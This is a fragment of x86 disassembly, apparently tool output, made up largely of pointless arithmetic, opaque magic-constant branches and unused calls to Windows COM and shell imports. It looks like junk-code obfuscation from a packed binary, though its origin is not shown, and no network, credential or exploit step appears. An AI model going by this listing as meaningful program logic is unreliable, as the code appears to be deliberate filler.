mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2521]
add edx, eax
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x38fc]
mov eax, dword [edx]
add eax, dword [ebp - 0x3580]
mov dword [ebp - 0x16fc], eax
lea ecx, [ebp - 0x354]
push ecx
call dword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [ebp - 0x6d4], eax
jmp 0x4056d4
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1f4e]
add eax, ecx
movsx edx, byte [ebp - 0x2569]
movsx ecx, byte [ebp - 0x2aa6]
or edx, ecx
cmp eax, edx
jl 0x4056d4
mov edx, dword [ebp - 0x538]
mov dword [ebp - 0x3a1c], edx
cmp dword [ebp - 0x3a1c], 0x41ce2558
je 0x4055fb
jmp 0x4056d4
mov eax, dword [ebp - 0x31d0]
mov edx, dword [ebp - 0x16fc]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2ca4]
cmp edx, ecx
jg 0x4056b6
mov edx, dword [ebp - 0x538]
add edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x3168]
add edx, dword [ecx]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x1f4e]
push edx
mov eax, dword [ebp - 0x718]
movzx ecx, word [eax]
push ecx
mov dl, byte [ebp - 0x2521]
mov cl, byte [ebp - 0x3495]
call fcn.00478870
lea edx, [ebp - 0x1e80]
push edx
lea eax, [ebp - 0x1d24]
push eax
lea ecx, [ebp - 0xb0c]
push ecx
lea edx, [ebp - 0x1608]
push edx
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x2260]
mov ecx, dword [ebp - 0x25c4]
and ecx, dword [eax]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
jmp 0x4056d4
call fcn.004d7e60
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1220]
sub ecx, edx
mov word [ebp - 0x2b50], cx
movzx eax, byte [ebp - 0x2521]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x38c]
mov byte [ecx], al
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x35b8]
sub eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
movsx eax, byte [ebp - 0x2aa6]
movsx ecx, byte [ebp - 0x2569]
sub eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x7cc]
mov edx, dword [ebp - 0x1d24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x16fc]
or ecx, dword [eax]
mov dword [ebp - 0x3168], ecx
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
movzx ecx, word [ebp + 8]
shl eax, cl
mov ecx, dword [ebp - 0xc1c]
mov word [ecx], ax
movzx edx, byte [ebp - 0x18ed]
movzx ecx, byte [ebp - 0x2521]
sar edx, cl
mov eax, dword [ebp - 0x1ec]
mov byte [eax], dl
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x381c]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ebp - 0x186c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x186c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2a4c]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x7cc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2a04]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1650], ax
movzx eax, byte [ebp - 0x2521]
movzx ecx, byte [ebp + 0xc]
sub eax, ecx
mov edx, dword [ebp - 0x1678]
mov byte [edx], al
mov eax, dword [ebp - 0x1d3c]
mov ecx, dword [ebp - 0x186c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x38fc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x186c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x31d0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x1d3c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x7cc]
sub eax, dword [edx]
mov dword [ebp - 0x381c], eax
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ebp - 0x16fc]
add edx, dword [ecx]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x31d0]
mov edx, dword [ebp - 0x16fc]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1d3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1578]
add ecx, 0xfd
mov dword [ebp - 0x1578], ecx
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x35b8]
xor eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
mov eax, dword [ebp - 0x26fc]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 0xc], dl
movzx ecx, word [ebp + 8]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1220], cx
movzx edx, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x18ed]
sar edx, cl
mov eax, dword [ebp - 0x38c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
and edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x1d24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ebp - 0x2a4c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x169c]
mov edx, dword [ebp - 0x2a04]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x1b34]
mov word [edx], cx
movzx eax, byte [ebp - 0x18ed]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], al
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x538]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x22e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x186c]
mov eax, dword [ebp - 0x16fc]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x38fc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x3794]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x538], edx
movzx eax, byte [ebp - 0x2521]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3495], al
movzx eax, word [ebp - 0x2b50]
movzx ecx, word [ebp + 8]
add eax, ecx
mov edx, dword [ebp - 0x2094]
mov word [edx], ax
mov eax, dword [ebp - 0x2ca4]
or eax, dword [ebp - 0x2a4c]
mov ecx, dword [ebp - 0x1bf8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ebp - 0x3168]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2569]
sar eax, cl
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], al
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x17e0]
shl eax, cl
mov word [ebp - 0x35b8], ax
movzx ecx, byte [ebp - 0x18ed]
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x2b50]
add edx, eax
mov word [ebp + 8], dx
cmp dword [ebp - 0x1578], 0xf19a
jne 0x4056d4
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
movzx eax, word [ebp + 8]
sub edx, eax
mov ecx, dword [ebp - 0x2094]
movzx eax, word [ecx]
movzx ecx, word [ebp - 0x169c]
add eax, ecx
cmp edx, eax
jne 0x405bc3
mov edx, dword [ebp - 0x22e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x538]
mov dword [ebp - 0x381c], eax
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ebp - 0x140c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x22e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2a4c]
mov dword [ebp - 0x31c0], edx
mov eax, dword [ebp - 0x1d3c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38fc]
add ecx, dword [edx]
mov eax, dword [ebp - 0x186c]
mov edx, dword [eax]
and edx, dword [ebp - 0x31c0]
cmp ecx, edx
je 0x405b80
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x2260]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x1d3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38c]
mov dl, byte [ecx]
mov byte [ebp - 0x3a20], dl
cmp byte [ebp - 0x3a20], 0x1e
je 0x405b66
cmp byte [ebp - 0x3a20], 0x50
je 0x405b2b
jmp 0x405b7e
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
lea ecx, [ebp - 0x2814]
push ecx
lea edx, [ebp - 0x2208]
push edx
lea eax, [ebp - 0x35b8]
push eax
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x538], eax
jmp 0x405b7e
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x25c4]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
jmp 0x405bc3
movzx ecx, word [ebp - 0x2b50]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2a04]
movzx eax, word [edx]
movzx edx, word [ebp - 0x24a0]
xor eax, edx
cmp ecx, eax
jle 0x405bc3
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1220], cx
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp - 0x2521]
sub ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x1bf8]
mov edx, dword [ebp - 0x3168]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp + 8], dx
mov edx, dword [ebp - 0x22e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x381c], eax
movzx ecx, byte [ebp - 0x2521]
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x1678]
mov byte [edx], cl
movzx eax, word [ebp - 0x2b50]
movzx ecx, word [ebp + 8]
sub eax, ecx
mov word [ebp - 0x169c], ax
movsx edx, byte [ebp - 0x2569]
movsx eax, byte [ebp - 0x2aa6]
sub edx, eax
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], dl
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x35b8]
sub eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x798]
xor ecx, dword [ebp - 0x2ca4]
mov edx, dword [ebp - 0x31d0]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x2521]
movzx ecx, byte [ebp - 0x18ed]
or eax, ecx
mov edx, dword [ebp - 0x1ec]
mov byte [edx], al
mov eax, dword [ebp - 0x2588]
add eax, 0xcb
mov dword [ebp - 0x2588], eax
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1220]
sar edx, cl
mov word [ebp + 8], dx
mov eax, dword [ebp - 0x3794]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2a4c]
shl edx, cl
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
cmp dword [ebp - 0x2588], 0xa80e
jb 0x405bc3
mov ecx, dword [ebp - 0x2a4c]
sub ecx, dword [ebp - 0x2ca4]
mov edx, dword [ebp - 0x38fc]
mov eax, dword [edx]
add eax, dword [ebp - 0x3580]
cmp ecx, eax
jge 0x405d7e
movzx ecx, byte [ebp - 0x18ed]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x38c]
mov byte [edx], cl
lea eax, [ebp - 0xc1c]
push eax
lea ecx, [ebp - 0x1f4e]
push ecx
call dword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [ebp - 0x624], eax
jmp 0x428f98
mov edx, dword [ebp - 0x186c]
mov eax, dword [ebp - 0x31d0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3794]
mov eax, dword [edx]
mov edx, dword [ebp - 0x2260]
add eax, dword [edx]
cmp ecx, eax
jne 0x405e32
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x538]
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x25c4]
mov dword [ebp - 0x3a24], edx
cmp dword [ebp - 0x3a24], 0
je 0x405ddd
cmp dword [ebp - 0x3a24], 0x47011e4d
je 0x405e19
jmp 0x405e2d
lea eax, [ebp - 0x31c0]
mov dword [ebp - 0x29dc], eax
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ebp - 0x3794]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x798], eax
mov ecx, dword [ebp - 0x31d0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
jmp 0x405e2d
mov ecx, dword [ebp - 0x798]
sub ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x1d3c]
mov dword [edx], ecx
jmp 0x405eb6
mov al, byte [ebp + 0xc]
mov byte [ebp - 0x3a28], al
cmp byte [ebp - 0x3a28], 7
je 0x405e9e
cmp byte [ebp - 0x3a28], 0xe
je 0x405e4f
jmp 0x405eb6
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2569]
add edx, eax
mov byte [ebp - 0x2aa6], dl
lea ecx, [ebp - 0x1b8]
push ecx
lea edx, [ebp - 0x8c]
push edx
call dword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [ebp - 0x2708], eax
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x17e0]
and ecx, edx
mov eax, dword [ebp - 0x718]
mov word [eax], cx
jmp 0x405eb6
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp + 8], dx
movsx edx, word [ebp - 0x17e0]
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
sub edx, ecx
movsx eax, word [ebp - 0x35b8]
movsx ecx, word [ebp - 0x60c]
add eax, ecx
cmp edx, eax
jg 0x405f09
movzx edx, byte [ebp - 0x2521]
push edx
movzx eax, byte [ebp - 0x1f4e]
push eax
call fcn.004d1cd0
lea ecx, [ebp - 0x82c]
push ecx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0x1bac], eax
jmp 0x405fcf
mov edx, dword [ebp - 0x7cc]
sub edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x381c]
cmp edx, ecx
jne 0x405fcf
lea edx, [ebp - 0x3495]
mov dword [ebp - 0x3868], edx
mov eax, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x381c]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
mov dword [ebp - 0x3a2c], edx
cmp dword [ebp - 0x3a2c], 0
je 0x405f74
cmp dword [ebp - 0x3a2c], 0xd1e74586
je 0x405fb7
jmp 0x405fcf
lea eax, [ebp - 0x381c]
mov dword [ebp - 0x16cc], eax
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x3868]
mov byte [eax], dl
movzx ecx, word [ebp - 0x2b50]
movzx edx, word [ebp - 0x1650]
xor ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
jmp 0x405fcf
mov ecx, dword [ebp - 0x29dc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x25c4]
sar edx, cl
mov eax, dword [ebp - 0x29dc]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x100]
movzx eax, word [eax]
add ecx, eax
cmp edx, ecx
jne 0x4060ae
mov ecx, dword [ebp - 0x3168]
sub ecx, dword [ebp - 0x3580]
mov edx, dword [ebp - 0x16fc]
and edx, dword [ebp - 0x2ca4]
cmp ecx, edx
jne 0x4060a9
lea eax, [ebp - 0x538]
mov dword [ebp - 0x2534], eax
mov cl, byte [ebp - 0x1f4e]
mov byte [ebp - 0x3a30], cl
cmp byte [ebp - 0x3a30], 0x7e
je 0x406042
jmp 0x406088
mov edx, dword [ebp - 0x1d3c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
add eax, dword [ecx]
mov dword [ebp - 0x2a4c], eax
mov edx, dword [ebp - 0x2a4c]
sub edx, dword [ebp - 0x3168]
mov eax, dword [ebp - 0x31d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x29fc]
push ecx
mov edx, dword [ebp - 0x2a00]
push edx
call dword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [ebp - 0x1d30], eax
jmp 0x4060a9
movzx eax, byte [ebp + 0xc]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov edx, dword [ebp - 0x38c]
mov byte [edx], al
lea eax, [ebp - 0x20b4]
mov dword [ebp - 0x22c], eax
jmp 0x4061d6
mov ecx, dword [ebp - 0x22c]
movzx edx, word [ecx]
mov dword [ebp - 0x3a34], edx
cmp dword [ebp - 0x3a34], 0x530
je 0x4060de
cmp dword [ebp - 0x3a34], 0xa25
je 0x4061bc
jmp 0x4061d6
mov eax, dword [ebp - 0x2534]
mov ecx, dword [ebp - 0x7cc]
add ecx, dword [eax]
mov edx, dword [ebp - 0x22e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x26fc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x2521]
sar edx, cl
mov byte [ebp + 0xc], dl
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x3a38], cl
cmp byte [ebp - 0x3a38], 0x24
je 0x406184
cmp byte [ebp - 0x3a38], 0x34
je 0x40612e
jmp 0x4061ba
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1f4e]
xor eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
mov eax, dword [ebp - 0x718]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x17e0]
shl edx, cl
mov word [ebp - 0x35b8], dx
lea eax, [ebp - 0x2b1c]
push eax
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x140c]
push edx
call dword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
mov dword [ebp - 0x269c], eax
jmp 0x4061ba
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x22c]
movzx eax, word [edx]
push eax
call section..text
mov ecx, dword [ebp - 0x22c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0xc1c]
mov word [eax], dx
jmp 0x4061d6
mov ecx, dword [ebp - 0x269c]
push ecx
lea edx, [ebp - 0x2a00]
push edx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [ebp - 0x1d30], eax
movzx eax, byte [ebp - 0x2521]
mov ecx, dword [ebp - 0x3868]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], al
lea edx, [ebp - 0x381c]
mov dword [ebp - 0x1bd4], edx
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x3a3c], cl
cmp byte [ebp - 0x3a3c], 0
je 0x40624f
cmp byte [ebp - 0x3a3c], 0x28
je 0x406221
jmp 0x4063e0
movzx edx, byte [ebp - 0x2521]
movzx eax, byte [ebp - 0x18ed]
sub edx, eax
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x3580]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
jmp 0x4063e0
mov ecx, dword [ebp - 0x2534]
mov edx, dword [ecx]
add edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x60c]
sub edx, eax
movsx ecx, word [ebp - 0x17e0]
movsx eax, word [ebp - 0x35b8]
add ecx, eax
cmp edx, ecx
jl 0x4063ca
movzx ecx, byte [ebp - 0x2521]
movzx edx, byte [ebp - 0x18ed]
sub ecx, edx
movzx eax, byte [ebp + 0xc]
mov edx, dword [ebp - 0x38c]
movzx edx, byte [edx]
add eax, edx
cmp ecx, eax
jg 0x4063c8
movsx eax, word [ebp - 0x17e0]
mov ecx, dword [ebp - 0x718]
movsx ecx, word [ecx]
shl eax, cl
movsx edx, word [ebp - 0x35b8]
movsx ecx, word [ebp - 0x60c]
sar edx, cl
cmp eax, edx
jl 0x406392
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x3a40], cl
cmp byte [ebp - 0x3a40], 0x19
je 0x40635f
cmp byte [ebp - 0x3a40], 0x63
je 0x406305
jmp 0x406390
lea edx, [ebp - 0x20b4]
push edx
call dword [sym.imp.SHELL32.dll_ILClone]
mov dword [ebp - 0x8bc], eax
movzx eax, byte [ebp - 0x2521]
push eax
movzx ecx, byte [ebp - 0x2569]
push ecx
call fcn.004d1cd0
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [edx]
and eax, dword [ebp - 0x2ca4]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3868]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x18ed], al
jmp 0x406390
lea eax, [ebp - 0x1d78]
push eax
push 0xc8
call dword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [ebp - 0x1d30], eax
movzx ecx, word [ebp - 0x169c]
movzx edx, word [ebp - 0x20b4]
add ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
jmp 0x4063c8
mov ecx, dword [ebp - 0x538]
or ecx, dword [ebp - 0x381c]
mov edx, dword [ebp - 0x2534]
mov eax, dword [ebp - 0x16cc]
mov edx, dword [edx]
xor edx, dword [eax]
cmp ecx, edx
ja 0x4063c8
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x3580]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1bf8]
mov dword [edx], ecx
jmp 0x4063e0
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x16cc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x31d0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x38f4], edx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x31c0]
mov edx, dword [ebp - 0x29dc]
mov dword [edx], ecx
movzx eax, word [ebp - 0x20b4]
mov dword [ebp - 0x3a44], eax
cmp dword [ebp - 0x3a44], 0xb3e
je 0x406427
jmp 0x406472
call fcn.0046d040
mov ecx, dword [ebp - 0x186c]
mov edx, dword [ebp - 0x38fc]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x1d3c]
mov dword [ecx], eax
movzx edx, word [ebp + 8]
mov eax, dword [ebp - 0x2a04]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x1220], dx
lea edx, [ebp - 0x39c]
push edx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0xe38], eax
jmp 0x428e53
lea eax, [ebp - 0x3495]
mov dword [ebp - 0x17fc], eax
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
mov dword [ebp - 0x3a48], edx
cmp dword [ebp - 0x3a48], 0xffffffff
je 0x4064ab
cmp dword [ebp - 0x3a48], 0x7525
je 0x406536
jmp 0x40654b
mov eax, dword [ebp - 0x140c]
mov ecx, dword [ebp - 0x7cc]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1d24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
mov dword [ebp - 0x3a4c], ecx
cmp dword [ebp - 0x3a4c], 0x42f04d8e
je 0x4064dd
jmp 0x40651e
mov edx, dword [ebp - 0x3580]
sub edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x38fc]
mov dword [eax], edx
push 1
push 1
lea ecx, [ebp - 0x1d5c]
push ecx
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [ebp - 0x1d30], eax
mov edx, dword [ebp - 0x186c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3580]
mov dword [ebp - 0x38f4], eax
jmp 0x406534
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
jmp 0x40654b
movzx ecx, byte [ebp - 0x18ed]
movzx edx, byte [ebp + 0xc]
sub ecx, edx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], cl
cmp dword [ebp - 0x2580], 0x57ef
jae 0x40685d
movzx ecx, word [ebp - 0x20b4]
movzx edx, word [ebp - 0x1220]
add ecx, edx
mov eax, dword [ebp - 0x2094]
mov word [eax], cx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x186c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x38fc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x186c]
mov eax, dword [edx]
or eax, dword [ebp - 0x31c0]
mov dword [ebp - 0x798], eax
mov edx, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x7cc]
shl edx, cl
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x16fc]
sar eax, cl
mov ecx, dword [ebp - 0x1d3c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x2521]
movzx eax, byte [ebp - 0x3495]
xor edx, eax
mov byte [ebp + 0xc], dl
movsx ecx, byte [ebp - 0x1f4e]
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x2569], cl
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 0xc], dl
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x17fc]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], dl
mov ecx, dword [ebp - 0x22c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x22c]
mov word [eax], dx
mov ecx, dword [ebp - 0x22e0]
